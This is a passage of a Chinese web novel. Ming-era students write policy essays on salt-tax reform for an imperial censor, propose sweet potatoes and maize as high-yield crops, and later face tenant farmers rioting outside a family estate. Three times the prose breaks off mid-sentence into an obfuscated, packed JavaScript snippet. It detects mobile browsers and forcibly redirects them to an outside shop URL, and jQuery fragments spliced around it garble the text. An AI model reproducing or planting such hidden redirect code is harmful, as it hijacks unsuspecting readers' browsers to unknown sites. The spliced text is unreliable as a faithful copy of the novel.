就和考科举时差不多。 写的是八股文,做的是华丽文章。 但实则,写出来的考卷,对于治国,屁用都没有。 好在八股文纯纯是吹个彩虹屁,哪个考生吹的考官心里舒坦,吹的皇帝爱听,就能高中状元,策论比较不拘于格式。 张岱手拿着笔,蘸了蘸墨,刚要写,便又一顿,他该怎么写呢? 啧…… 这不能那不能,还真不好提笔。 转头一瞄。 嘿,周师弟这是…… 再转头一看,呀,郭师弟竟也…… 作为一个有自知之明的学渣,张岱见着两人,连半点思考时间都不用,手上的笔唰唰几下,行云流水,泼墨自成。 他心里都开始焦虑了。 妖孽,真是妖孽! 至于杨业嘛……他,弃考了。 嗯,杨业作为淮扬盐商出身,这道题目,对他来说本身就是致命一击,要是真写了,那不论往大了写,还是干脆偏题,都不合适。 看了一眼两个小师弟脸上神情淡然,一副胸有成竹的模样,杨业心里暗自祈祷,期望这次也能安然无恙吧。 台上,坐着的曹谨行,见着周盈和郭嘉二人,所著之策论,似乎毫无迟钝之笔,不免也有些好奇。 其余的学生,多少都有些断断续续,于是边写边思考。 周盈这是早就胸有成竹的,他明白这会儿再藏拙,那肯定是大家一起完蛋。 因此也就不再藏着掖着,有什么好的东西好的想法,也就全都是写出来了。 策论说难也不难,说简单嘛……那还真不简单。 其主要问题在于,多数学生都是脱离实际情况而进行空中楼阁一般的阐述,对于客观的,存在于实事的条件,并不设身处地了解,也从无调查过。 自然,写出来的策论,那就如一张废纸,虽文采斐然,但用不到实处。 可这样的问题,在周盈和郭嘉身上,那就全都不是事。 这俩壳子虽然是个少年身,但芯子可是千年老狐狸,什么样的场面没见过? 周盈心里组织好语言和逻辑顺序。 提笔起破。 字迹笔锋尖而利,如剑划过纸张般,叫人观之,便觉眼睛隐隐刺痛。 破曰:今盐课之弊,不在法疏,而在利壅,不在民顽,而在吏邪。治标以“疏清源流”,治本则当“与民让利”。撰以《弊病疏》,断六蠹,疏三策。 破题停笔,周盈蘸了蘸墨,便也不再管如何,继续往下。他心里有个思路,但写出来,倒还不知到底合不合适,总归……一般的策论,不足以叫曹谨行下定决心。 需得是极为实用,且能马上用的才行。 这就很麻烦也很困难了。 他皱眉,脑子一转,大概是想到什么,修长的手上,笔锋一横。 蠹一,官盐壅滞。非百姓不食官盐,乃价高质劣,胥吏盘剥。 蠹二,私盐横行。非尽为奸民牟利,乃灶户生计所迫,盐商垄断所逼。 蠹三,盐课虚耗。…… 蠹四,盐引垄断。…… 蠹五,盐民利割。…… 蠹六,民生无倚。灶户无可生计,迫入私盐贩卖,商流横行,实为无田种,亦无饭吃,饥寒交迫,铤而走险,为求生活,而依附存活,其弊之矛,意在粮之本。 六策写完,周盈铺垫了许久的东西,才总算是要引出,他写这么多字,也不是纯为了凑字数的,总要一点点的由浅到深,由小到大才是。 下起行。 曰:治标之策。 策一:疏“盐课之源”,行“滚单法”。 这是针对盐课之中,征收杂乱,层层盘剥而立。设计“盐课滚单”,每灶户产盐几何,应纳税额,已纳多少,经手胥吏,皆一并陈列,公开,一式多联,以求最大限度遏制混乱征税。 这玩意儿和现在比较流行的易知由单比较像,周盈也就没太细写。 策二:清“运输之流”,设“监察制”。 于关税码头,由朝廷委派,非本地出身,定期轮换的官员、乡绅,担任此职。且只负责核对数量账目,不具体涉及销售生产等。因如今乡党文化繁荣,无当地之势的派遣官,是很难成大气候的。 这条,是周盈思考再三写下,如今还不是对这批乡绅盐商动手的时候,况且他们将来,说不准还得借这些人的势力,扼制可以,但暂时不能砸了人家的锅。 策三:查“盐引之弊”,用“抽检法”。 不强求更改当前盐引之策,以突击式账目抽查为主,查必深,查其弊处所得,用以平抑当地盐价。 这一条,主要是为了软刀子割肉,不温不火,但势必会让这些盐商难受,且查出的把柄,也可收集为罪证,到时候可用以真正变法的敲山震虎。 三条治本之策写完,周盈揉了揉自己的腕骨,随后便继续下笔。 这会儿已经是距离考试开始过去一半时间有余,学生们或多或少,都已写了自己的策论,更有动作快的,已经写了快大半。 比方说郭奉孝,这家伙奋笔疾书,半点都不带停歇,速度着实吓人。 把旁边的张岱看的是一愣一愣。 这家伙怕不是……真?活字印刷? 焦虑的张岱,也管不了那么多了,写的再烂,总归是能交卷不是?他相信,一份策论,就算写的是屎,那也有喜欢这坨屎的屎壳郎。 且说回周盈这儿。 他一提笔写下几行治本之策。 策一:授“荒田良种”,以种生计之粮。 盐场无用之地,或可用以种植新种。其粮亩有数百亩之余,可作于灶户急须生计之时,种之无粮麦之精贵,食之可比其之裹腹。 这条,是解决当务之急的饱腹问题。 策二:立“灶户合作司”,以安生产之源。 当地政府,可鼓励灶户组成合作司,由合作司统一向官仓售盐,领取盐本(工费)。用以平衡盐商高价售盐,减少胥吏盘剥。合作司统一售盐、垦荒、领取粮种。从私盐贩卖,逐渐转向盐农一体。 这条,是饱腹基础上,要吃得起盐,减少盘剥。 策三:立“新策试裁区”,以破垄断之局。 择弊病最深的地方进行变法,盐引之策,可改为定期竞标,盐销考核,中小商人可出钱联合竞标,其盐销之价,须定于考核数之内,其考核由当地衙门,朝廷巡盐御史共商定论。当地须以盐区农改田作为考核项目之一,引种、指导、建田,亩产数,尽数上报。 这条,是前两条的前提之下,最激进的一条,也就是从根本上着手,不但要把这些私盐贩卖者逐步引回成耕农,更要遏制打压独大的盐商。 当然,周盈其实最大的策论核心亮点,还得是第一条,他准备把番薯和玉米等的作物,借着这次的机会点出来。 朝廷之于百姓,无外乎如何叫人怎么吃饱饭,这一切的问题,说到根本上,都是因为没有田种地,没有饭吃了。 怎么办呢? 或是私盐贩卖,这个算是能靠自己的聪明自力更生了。 或是上山为匪,这个就有点突破道德限制,开始烧杀掳掠。 或是沦落流民,这个更惨,啥都不行,说不准睡一觉就醒不过来了。 当然,盐课只是整个国策之中很小的一部分,还有的,比方说土地兼并,乡绅偷税漏税,地方官僚贪墨,各种税赋数目不一,大明宝钞贬值,铜币价格高低,唯一拥有衡量货币价值的白银多在于乡绅之手,这些等等问题,那都是说都说不过来的。 这些都得以后慢慢弄了。 周盈放下笔,看着自己这一卷策论,没察觉出什么问题,也就不再动笔写什么。 等知行广场上的学生们,陆陆续续都放下笔来,这一上午的策论考,这就逐渐的进入了尾声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716670|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 张岱手上涂涂画画,随后掐着点,写下最后一个字,虽说……这看起来有点乌漆麻黑,卖相实在不如何,但好歹是没烂尾不是? “考试时间到,停笔。”上方的夫子开了口,一些没赶得及写完的学生们,这会儿面如菜色,再不甘心。 这考题太难了!实在是超纲啊! 策论收上来之后,底下的学生们都炸锅了,你一言我一句,说的都是方才自己如何破题,写论,定策的思路。 看来,不论古今,考完试之后交头接耳对答案的风气,都是一模一样的啊。 “那策论之题,当真是令人无处下笔!我等学生,却也只能从民生问题着手了。”一个学生脸上满是无奈,嗯……看来写偏了。 “就是说,诶……我倒是从私盐方向入的题,但、但如何遏制私盐猖獗,我便也无法答出个所以然了。”这个听起来,题目破对了,可喜可贺。 “我倒是觉得,这盐课弊端,祸在胥吏之盘剥,盐商之垄断。只是……这些事,也不是我能随意置喙,诶,只能写了几策拙见。”嗯,这个写的不错,可惜没提出什么真知灼见。 “哎?不妨问问小师弟?” “是也,想来小师弟聪慧,必有些见地之策了。” 于是乎,一群人就围了过来。 郭嘉:??看我干嘛。 一个师兄嘿嘿一笑:“郭师弟,师兄看你方才奋笔疾书,毫无阻隔之处,想来是心中胸有成竹了?” “啊……还好吧,我也不过是随意瞎写而已,左不过是一家之辞,曹御史觉得有用,那就看看便是,觉得无用,当一张废纸也无妨。” 他说的话声音有点大,令在台上正襟危坐的曹谨行侧目看了过来。 一旁,正在翻阅众学生策论的夫子们低着头,不知相互在商量什么。 周盈凑过来道:“奉孝,你之策论,写的都是什么?” “嗯?他不是急着要解决当下巡盐的法子吗?我就写了点……急策嘛。”郭嘉被他这么一问,也就不打哈哈了。 别人是别人,周盈是周盈。 这事儿跟自己人,有什么不能说的呢? 郭嘉眨了眨眼:“你放心,写的都是一些比较合理的策略而已。” 周盈闻言心里倒也放心了一些。 不过多时,台上的陈夫子众人,将策论全部翻阅了一遍,轮到某两张的时候,陈夫子那是眼皮子跳。 几个夫子观之,脸上神情各异。 “这……” 只见陈夫子皱眉,手拿起书写的洋洋洒洒的策论,眼神之间俱是认真。手捋胡须,从头看起,几个围在身侧的其余夫子,也都是时而颔首,时而小声交谈。 “子长,这一策论,写的妙,不知是谁所作?” 考试的卷子收上来,都是要先将名字给盖住的,这也是为了达到公平公正的目的。 以防考官从学生名字着手给高分。 陈夫子深叹,看那字迹,他已是有所猜测,抬起头看向周瑶处,见对方身边围了好些人,亦心中复杂。 “再看看还有没有别的吧。” 放下这份重若千钧的策论,陈夫子继续翻阅,不多时,一篇笔力遒劲,泼墨洒脱,字无多数,寥寥几笔,便见一二端倪的策论,从众人眼里脱颖而出了。 其上之破题:盐课之弊,非从微末入手,意在机窍之撬动。五策书以查弊清源,以结学子之策,可呈报上疏。 这题破的实在简单,陈夫子都看的愣了一下,不过也没关系这些,几个人继续往下看。 只见其下: 以地方县令贪墨,查盐课征收之盘剥,此为正本清源,削混杂之难。 以盐引垄断为线,查官商账目之勾连,此为断其脉络,削通私之势。 以私盐灶户为镜鉴,查盐价腾昂之贵处,此为平抑市价,削民变之患。 以官盐壅滞为利害,查胥吏盘剥之伎俩,此为厘清课税,削蠹蚀之弊。 更以矿税旧案为枢机,可撬动地方乡绅之铁板,破其壁垒,削舞弊之根本。 终以地方私塾学子之策论为基,编上述五查之所得,上呈《浙江盐课弊病疏》。 如此,一举涤荡污浊,亦可为冤者张目,于国于民,皆为正道。 陈夫子皱眉,似乎是看出了什么,他见着从上到下,不过寥寥之语,却是从官商勾结、私盐之祸、民生利害、士林舆论等,全部着手,实可称之为字字珠玑。 身旁一个夫子指着道:“这份策论,著书者洞若观火,不知是谁所为?” 一旁,听闻的曹谨行侧目:“几位夫子,可翻阅完毕?” 陈夫子放下策论,心中复杂不言而喻,既是欣喜于自己的两个学生如此优秀,却又为之太过出挑,而隐隐担忧。 周盈这样的策论,非是平日里只读圣贤书,不知民间疾苦的学生,能够写出来的。 从微末到根本,每一个字都无废笔。 其大多数谈之,都言朝廷应如何如何,做官应如何如何。 却并无一人,指摘出,其最根本之原因,在于灶户无田,只可依附其他行当。 而为何无田? 这就是更深的原因了。 至于郭嘉那一策,则更着重当下应如何,从查盐课,治贪官,压乡绅兼并之祸,到借民心,搅舆论,逼盐商吐出钱来,最后还以学生之名上疏,直接连那结党营私的可能攻讦,都防备住了。 真可谓是一套连招,打得人颇为措手不及了。 那曹谨行,不正是想着来求个法子吗?不正要求个显赫的业绩,回去好向朝廷交钱,好跟那些东林的人交差。 想到这,陈夫子上前行礼:“曹御史,我等皆已翻阅,只有两策,见之极妙。” 穿着官服,头戴乌纱帽的曹谨行颔首接过:“本官也好奇,这潘岳私塾的学生,能有何等针砭时弊之言。” 说着话,他便开始低头细看。 坐在下方的周盈,听不太清楚几人讨论,心里也不免的有些担忧。 他提出番薯玉米之说,也是想着曹谨行回去交差能言之有物。 毕竟想要让人手下留情,总得要付出什么的。 39.第 39 章 一件事想要能办成,得有更亮眼的成绩说话。而不是空口说白话,却拿不出任何的东西来。 他想保张岱和杨业,是想借二人背后的地方势力为自己所用。那么,这次的巡盐,既要能让曹谨行拿到钱、政绩,又要能让张岱等人断臂求生,这才是最好的稳妥法子。 曹谨行虽说,这会儿暂时与二人并非同盟,更甚来说,是如今最大的威胁者。但其为人正直,是个办实事的难得实干派,若将来二人入朝为官,这样的人,是足以提前拉拢的盟友之一。 周盈早想明白了,这事儿,多是立场不同,也不能说到底是谁对谁错。 曹谨行想干事,只能暂时依附东林,才有了巡盐这么个差事作为投名状。 若此事不成,他回去后,朝廷里的东林人,自然弃之如敝履,不再重用,到时候他的仕途就到头了。 如今问策,也或借公众之口,既以旁敲侧击,探杨业等淮扬盐商的口风,又是试探两人之态。 若杨业等人愿意出钱消灾,周郭二人不与之为敌,自是万事大吉。 这个时候,再藏着掖着,人家没了真办法,为了完成自己的任务,彻底撕破脸,也是很正常的。 保他一保,将玉米番薯送过去,也算是卖个人情,还能借朝廷之手推行,将来以备灾荒之年。更何况,如今在大庭广众之下,曹谨行就是想私吞良种之策也是不可能的,除非他自废武功。 像曹谨行这样的人,事事必悉数上报,到时候两个人在朝廷有了名声,也是为将来事情做打算和准备。 这边,周盈想的事事周全,那边,曹谨行目光锐利的死死盯着白纸黑字,仿佛是要把这两份策论都看出花来了! 整个知行广场上,因讨论逐渐停下,而显得格外安静。 坐在一旁的陈夫子,手捋胡须,心里也是打着鼓,也不知道,这周盈和郭嘉两人的策论,能否叫曹谨行满意。 他满怀忧心的看向下方,便看到郭嘉吊儿郎当,翘着腿凑到周盈边上不知道在说什么,两个人有说有笑,郭嘉笑的露出了两颗小虎牙。 周盈忍俊不禁间,眼睛都弯成了月牙般。 陈夫子:…… 他无声苦笑,还真是,初生牛犊不怕虎,反倒是他这个老师,急的不行。 诶,越来越沉不住气了。 这厢,曹谨行手捏着纸张,渐渐的,竟是有些颤抖!他眼睛是越看越亮,看到最后,直接嘴上开口喝彩:“好!好一个国之奇士!好一个经世致用之策!” 他猛的站起来,拿起这两策论,随手便将挡着名字的纸条撕了,果不其然,那名字便是心中所想。 曹谨行猛的抬头,看向周盈和郭嘉二人。 顿时,整个广场寂静无声。 大家的目光都顺着,移动到了小师弟们身上,几个学生迟疑不解。而杨业手里,已经全是汗水了。 “周盈、郭嘉,你二人所写之策论,可都是自己所思所想?”他声音严肃,虽板着脸,亦难掩激动。 从一开始,曹谨行只觉这两个学生,急智频出,观大局如毫厘,行事作风老辣,连他都觉棘手。 但那时候,到底,两者全是敌人。 但此时,二人之策,可谓是煞费苦心,从微观之如何查抄地方贪墨,到盐课弊政之改良,再以后来变法之总纲,皆是鞭辟入里的分析和方法! 更不用提,周盈策论里所说的,亩产数百的良种了! 只这二策,便可让他拿了政绩交差。 那良种若是真的,这可就是于天下黎民有功的千古佳政,说可载入史册不为过。 而今朝廷国库亏空,多地歉收,粮无可出,更有闹了饥荒的地方,饿死的人不计其数。 无钱,则拨不出赈灾之款,无粮,则不能叫饥民果腹,如今的政局,虽明面上看着一派祥和,实则早已到了危急关头了。 曹谨行心中激动之余,强压下情绪,将这两份策论放至桌上,随后衣带当风,脚步不停便走下台阶。 一时间,满座哗然。 陈夫子看着心里咯噔,莫不是……这两份策论,叫曹谨行心中不满?他猛站起身,也跟着走下台。 其余几个夫子,看了一眼对方。 那他们,下不下去? 不下去,好像多少不符合礼数? 这一切发生的都太突然,大家都没想到曹谨行竟直接走下了台阶。 学生们窃窃私语,猜测那两份策论应是谁写的。 而不过多时,曹谨行一路走来,众人目光跟随间,便已经来到了周盈和郭嘉所在的位置上。 周盈起身。 郭嘉跟着:俺也一样! 周盈行礼。 郭嘉继续:俺也一样! 周盈:…… 郭嘉:俺……俺写的和你不一样。 见这二人行礼,曹谨行直接扶起:“两位小国士,快快请起。” “曹御史谬赞,只不过是粗略见解,能入大人之眼,但也算是我兄弟二人之幸。” 见周盈说话不卑不亢,气定神闲间,更有沉稳之姿,曹谨行心里不免又要高看几分。 这个年纪,有这般见识,亦能不喜怒于色,果非凡人。 若非如此,便也不能从最开始,竟叫他都栽了个跟头。 曹谨行叹道:“后生可畏,本官倒像是虚长你二人年岁了。” “哪里的话,若无曹御史慧眼识人,我兄弟二人,便是将策论写出个花,亦不能起什么作用。” “至于那可产数百亩的良种,却是晚辈家中培育数年,才得如今之成果。一为番薯,二为玉米,此二者,都是因海贸而流入绍兴府地界。” “我等当年……”说到这,周盈低头叹了口气,似乎有些伤神。 见此,郭嘉直接开口:“我兄的意思,是因当年,我们孤儿寡母,无依无靠,只能借那三十亩地,想办法额外多弄着粮食果腹,这才从偶然,种出了番薯和玉米。” “曹御史,我等虽年少,却也知道,若能将这两样东西,推给别的贫农,便可多吃一口饱饭,这是救人的治国之器。” “我二人无如此能耐,便求曹御史带回朝廷,与陛下上疏,陈述厉害之事。” 他说的句句在理,也说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719064|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 曹谨行一时惭愧。原想郭嘉总是三句不离矿税旧案,只觉这少年狡猾非常,不好对付。 哪曾想过,当年生活之艰难,逼的孤儿寡母不得不另寻出处。 如今培育了良种,却还献上奇策。 这让他心中实在五味陈杂,不知该开口说什么。 “当年,若非张师兄和杨师兄帮衬,我和嘉弟,只怕连私塾的门都进不成。”周盈见曹谨行眼中神情复杂,便又适时开口说了一句。 “若无张师兄总光顾我家酒坊,只怕孩儿笑的名声,也难以像现在这般。” 张岱:阿巴巴巴巴……怎么突然扯上他了? 杨业闻言,顿时眼里精光一闪,马上明白了小师弟突然这么说一嘴是为了什么。 果不其然,那曹谨行听了这番言辞,便意味深长地看了一眼杨业和张岱两个人,把张岱看得背后毛毛的。 杨业站起身行了一礼:“曹御史,我等知晓周师弟和郭师弟家里困难,见其才,吾等不及也,既是惜才,也是心有不忍。咱们做师兄的,学的都是圣人之说,鳏寡孤独者,能帮便帮了。” “再说……这都是举手之劳,对我们,并无多的损失。” 几个周围的学生闻言也都是连连点头,半点没听出其中话里有话的含义。 张岱眨了眨眼睛,似细细琢磨,随后略瞪大了眼睛。 曹谨行颔首,看了几个人一眼:“你二人是有心了,本官身为御史钦差,刚一入山阴县,便撞见那么大一桩案子,秉着为民申冤,清理硕鼠,便是把这山阴县翻个底朝天,都得让事情水落石出了。” “如今,这两份策论之功,需禀报上疏,再行以定夺。” 说到这,他目光转向周盈,语气便也缓和了一些:“你二人之旧案,能争取,我便尽量争取。” 听此言,周盈心中大定,与郭嘉对视一眼,随后皆是眼眶微红,激动之下,便要行礼。其态度之真切,情绪之真挚,令周围学生都不免鼻子一酸。 “真好,周师弟和郭师弟,可算是苦尽甘来了。” “是啊,背了那么多年罪成眷属的身份,如今可算是盼来了翻案的希望。” 张杨二人也都是心里一松,这便意味着,如今你死我活的局面,总算是有一点转圜的余地了。 他二人是不必被抄家了,但出血还是得出的,说不准还是大出血呢。 一时松快,张岱看着两人,叹了口气,朝杨业道:“周师弟和郭师弟忠孝仁厚,吾等不及也。” “早知就不说郭师弟目无尊长了,这礼行的如此妥帖,看着是个知书达理的。” 郭嘉:…… 周盈:…… 杨业心里扶额,他这个发小……有时候那心大的,实在是令人咋舌。 要不说张岱重情重义呢? 这是说好听了。 往难听说,就是看起来精明,实际上内里憨厚,要是被亲近人坑了,估摸还得给人数钱。 上午的策论小考结束,不过多时便至晌午,这会儿私塾里,该吃饭的吃饭,歇息的歇息,多数的呢,则是为了下午的辩论进行着准备。 40.第 40 章 当然,两人策论写的东西,免不了得被夫子私底下说两句的,毕竟这对于两个尚未有功名在身的学生来说,太过出类拔萃,也太过锋芒毕露了。 陈夫子对二人的才学是打心里喜欢欣赏,但亦颇有担忧。 “朝廷,已经知道山阴县发生了什么,也知道了你们两个做的事情。如今,为了这山阴县的事,几位内阁大臣,吵的是不可开交,我在京师的几个同窗友人,这些天便是闻之,都噤若寒蝉啊。” 陈夫子开门见山,一句话让周盈和郭嘉两个人都心里了然明白,事情自然是远没那么简单的。 策论写了出来,但怎么去施行,怎么取得结果,才是最难办的地方。 不过明白归明白,两人脸上还是一副很单纯的表情。 “你们知道,曹谨行此番前来是为了什么吗?” “不知,还请夫子赐教。” 看了一眼自己这两个天资聪颖的学生,陈夫子听周盈这么说,心里都有点无语。当夫子是傻子吗? 不知?便敢如此胆大包天,直接掀起矿税旧案,倒逼巡盐御史? 不知?便敢夸夸其谈,在小考上如此恣意妄为,写的策论他看了都心惊胆战! 真要不知,那可就好了。 好歹,还能给他省省心。 陈夫子伸手,指着两个人点了点,深叹口气:“汝瑛,你素来稳妥有主见,做的事情,老师从无不放心的时候。” “你知不知道,曹谨行先前上的那道奏疏里,写的都是什么?” 周盈无辜的眨了眨眼睛,一副天真纯良的模样。 郭嘉:…… 陈夫子板起脸:“回话,不要想着能蒙混过去。” 好吧,这看来是混不过去了。 周汝瑛……咳,周盈眼睛一转,开口道:“夫子。我知道您是担心我们二人,但如今之局势,已不能让我等韬光养晦,那朝中诸位大臣,有谁会真的关心我等这些卑微之人的性命?” 这话说的是不假的,在这样的党争风气之下,任何的事情,都只会被拿来做攻讦政敌的把柄。 他们关心的不是民生之事、朝政之利害、天下之弊病。 “我和嘉弟这样做,虽是危险,但一个足够有用的人,才能在这波涛汹涌的风浪里勉强扎根,这是地基的问题,我们这番的策论,也是为卖曹谨行一个人情罢了。” “他不是那种只顾着党争的官员,反是想做些实事的,如果这样的官员,在朝廷都站不稳脚,那将来留在京畿的群臣,会是什么样的货色呢?” “夫子,我说的话可能有些尖锐,但您觉得有没有道理呢?” 陈夫子脸色一黑,嘴角抽搐了一下,好好好,反正他是说不过这两个牙尖嘴利的学生了! 手一拍桌子,他猛站起身:“你们啊!先是把曹谨行巡盐的事情顶了回去,后又写出这样一番策论。我就问一句,那亩产数百的良种,是真是假?” 周盈看了一眼郭嘉,后者了然,上前一步道:“夫子莫慌,这玩意儿,我和兄长,每日晌午都吃呢!味道还不错,能果腹。” “喏,你看,这个就是煮熟的番薯。”说着这话,郭嘉不知道打哪掏出一半的番薯,递了过去。 陈夫子接过,眯着眼仔细瞧,低头嗅了嗅,皱起眉:“当真?无作假?” “夫子你可以尝尝,真的。” 陈夫子迟疑,想了想,只掰了一小块塞进嘴里,细细咀嚼间,也不觉如何涩,倒是入口绵绵的,有很淡很淡的甜味。 “嗯?”他稀奇。 周盈莞尔:“我知道朝廷里,有不少人视我们为眼中钉肉中刺,但这些都没关系,只需要让曹谨行回去有功可报,到时候这便是我们前期最坚实的中央后台。” 听他这样说,陈夫子手上动作一顿,转头看向周盈,只见那双微弯的眼里,一派清明锐利,如寒星缀夜。 “你,早就想好了?” “是的,先前不曾与夫子说起,这会儿还要向夫子请罪才是。”周盈行了一礼。 “将来,我要以山阴县为根基,将番薯玉米推广,借张师兄和杨师兄背后的那些势力,这事情做起来就方便点,所以我才必须要保这二人。” “有了这一层关系,便是商业上的其余行当,也都能插手其中,等到了入朝为官的时候,这些全都是我们手里的资源和把柄,我要借这一县之地,推行……” 他笑了笑,语气淡淡,一字一句:“中兴大明的、改、革、政、策。” 郭嘉默默鼓掌,说得真好,太帅了。 见陈夫子愣着,不知该说什么是好的模样,郭嘉上前一步:“夫子,坐坐坐,汝瑛哥哥只不过是说个大概,咱们就听听罢了,这番薯好吃吧?甜的对不对?” “我这吃了好些年都吃腻了,等会儿把那些全都送给夫子,当做孝敬了!” 他边说边把人扶到位置上坐下。 等陈夫子回过神之时,只觉心中震撼,如惊涛骇浪,滚滚之间,似有一个时代般的尘嚣朝他扑面而来。 那是腐朽夹杂着新生的力量,也让他只觉背后颤栗,冷汗一片。 周盈拿起番薯,垂眸看了一眼,嘴角依旧带着笑,上前弯腰,将手上的东西递到陈夫子跟前。 对方抬头,二人对视间,漩涡般的黑眸,深不见底。 “夫子,与我们一起,做一件大事如何?我不骗您,这件事情很难,很危险,也很累。” “以您的年岁,再过几年都可以颐养天年了,也可享福清净。但与您这般年纪的许多人,却还要困于温饱生存,而这样的人却在整个大明朝,不计其数,见之让人触目惊心。” “您是进士出身,亦心怀为国为民之志,否则又为何要收我二人,呕心沥血教授学识?” 陈夫子喉结微动,手攥紧了一些煮熟的那半块番薯,眼里神情复杂至极,早年的那些志向,他自己都已经快要忘记了。 见此,周盈搭上那只有些苍老的手:“夫子,我等需要您。还请夫子,助我等一臂之力。” “将来,整个山阴县的百姓,都要为夫子竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725496|203982||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一块牌匾,称一句……公忠贞廉,弊扫清寰。” 夕阳下,红霞遍布。 出了私塾大门,郭嘉猛地朝周盈竖起大拇指:“好一张舌灿莲花的嘴,竟连我都要被你说的心动了。” 他是真佩服周盈这张能把大饼画的如此诱人的嘴巴。这可是很难得的技能,也是作为一个领导者必备的技能——鼓舞人心,激发壮志。 正所谓不鸣则已一鸣惊人,大约便是如此了。 闻言的周盈看了他一眼,忍俊不禁道:“难道奉孝,不正是因被我说动,才愿与我一道来这危险的地方同甘共苦?” 嘿…… 郭嘉一寻思,好像还真是… 他轻哼一声:“欸…我是担心你,你这性子,做事总是不计后果,总得有个人帮衬,你看我们之前配合的,不就很好吗?” “汝瑛哥哥~是也不是?”说到最后,他掐着嗓子开口,胳膊一搂上周盈肩膀。 周盈一阵恶寒。 郭嘉:“……” “是是是,奉孝乃世之奇士,有奉孝在,我如有神助。君可闻:哀哉奉孝,惜哉奉孝,痛哉奉——” 周盈被捂住了嘴,有些无辜的看着眼前被调侃的有些气急败坏的小郭狐狸。 “住嘴吧你!” 嗯…小郭狐狸虽然聪慧,但是容易炸毛。 下午的辩论,比起上午的策论,题目正常了起来,也没那么超纲了,学生们纷纷展现了自己的风采,获得夫子们的大加赞赏,并毫无意外由周盈和郭嘉为首,夺得了魁首。 一场圆满的小考,就这么在黄昏时分落幕了。 私塾门口,此时此刻显得萧瑟清冷,只有几辆马车停靠街边,周盈和郭嘉抱着书走出来,便见一马夫正等候多时。 那人神情有些焦急,左右看了看,见没什么人之后,小声凑过来道:“郭氏那些佃农这会儿正在门外闹得不可开交呢!” “哎哟,我就说这事儿也稀奇,那些佃农这会儿都堵在郭府门口,讨要什么说法,也是让人摸不着。” “都说是把这田归还给他们,让他们自己种粮吃饭,有什么不好的?非得在人眼皮子底下讨生活?” 马夫也是絮絮叨叨,神情颇为不解,觉得那些人怕不是脑子抽风了,不知好坏呢。 他把赶来的路上,见到的事情大概都说了一遍。郭嘉听到这话,脸色顿时微变,直接问道:“郭勋呢?堵在门口的人有多少?” “郭老爷子这会儿,好像是身子不适,没出面。至于多少人……”那马夫皱眉嘶了一声,随后眼睛一亮:“小的看了个大概,约莫有三四十个呢,基本上能来的都来了。” 周盈转头看向郭嘉,只见郭嘉轻啧了一声:“就知没这么容易的事,果然还是出了些问题。” “看来这家,也是回不成了。”他上了马车,一掀帘子,朝还站着的周盈道:“走吧,上车,先去把这件事情处理了。” 闻言,周盈也无奈,手借着力跃上马车。 夕阳下,车徐徐往前,渐渐消失。 41.第 41 章 郭府,此时门外,数十人团团围住。马车在一旁不太起眼的地方停下,随后两人跳了下来。 郭嘉眼看着这群人,身上粗布麻衣,肤色黝黑,甚至还有些人驼着背,但脸上全是愤怒。 为首的人看了一眼大门紧闭的郭府,啐了一口:“当初说得好好的,咱们把田卖了,税只需交十之二三,想着能吃饱饭,能改善日子,这才真卖给了他们,现在好了,那曹钦差一来,这郭氏的人就吓得屁滚尿流。” “咱们这回,要是反抗不成,得把先前卖地的钱都拿出去,就又要交那十之五六的税,本来粮食歉收,这再交个一半上去,我们吃什么?” 他嗓门极大,扯着声音一开口,就让不远处的两人都听了个一清二楚。 一个老实巴交的佃农脸上有些担忧:“二牛,这好歹也是把田还给我了,实在不行,找别的挂个名,躲躲就是了。” “我呸,那曹钦差,说的是好听,要为山阴县的百姓做主,怎么做的反比那些贪官污吏更可恨?” “到时候,要是俺家孩子婆娘都饿死了,我非得跟他拼命!这当的什么官!” 被称呼为二牛,也就是带领一群佃农闹事的人,语气冲冲,脸上有些皲裂的皮肤都晒起了些褶皱来,说话的时候跟着肌肉抖动,显得十分可怖。 另一人叹了口气:“谁叫咱们命苦,祖上一代代传下来的官田,哪那么好出手的,都说咱们吃的皇粮,谁人不知,这‘皇粮’吃的,要人命呢。” “你不要命了!”一旁的人手肘推了他一下,左右看了看,没发现什么蹊跷,这才松口气。 “这话,还是不要说的好,咱们就保着这口饭碗就成了!” “那现在怎么办?总不能上衙门闹?” 二牛闻言,冷哼一声:“砸了这门!冲进去要个说法!” 听到这儿,两个人也大概是明白了事情原委。抱着胸的周盈看了一眼郭嘉,对方脸色沉了几分,瞥眼一瞧,见那群人竟是真要开始打砸敲门,一下子也坐不住了。 “住手。何人在郭府门口闹事?”掀衣朝前迈了一步,郭嘉率先走出。 身后跟着的周盈便一言不发,朝着马夫比划了个手势,对方似明白了什么,猛点头,随后小跑着离开。 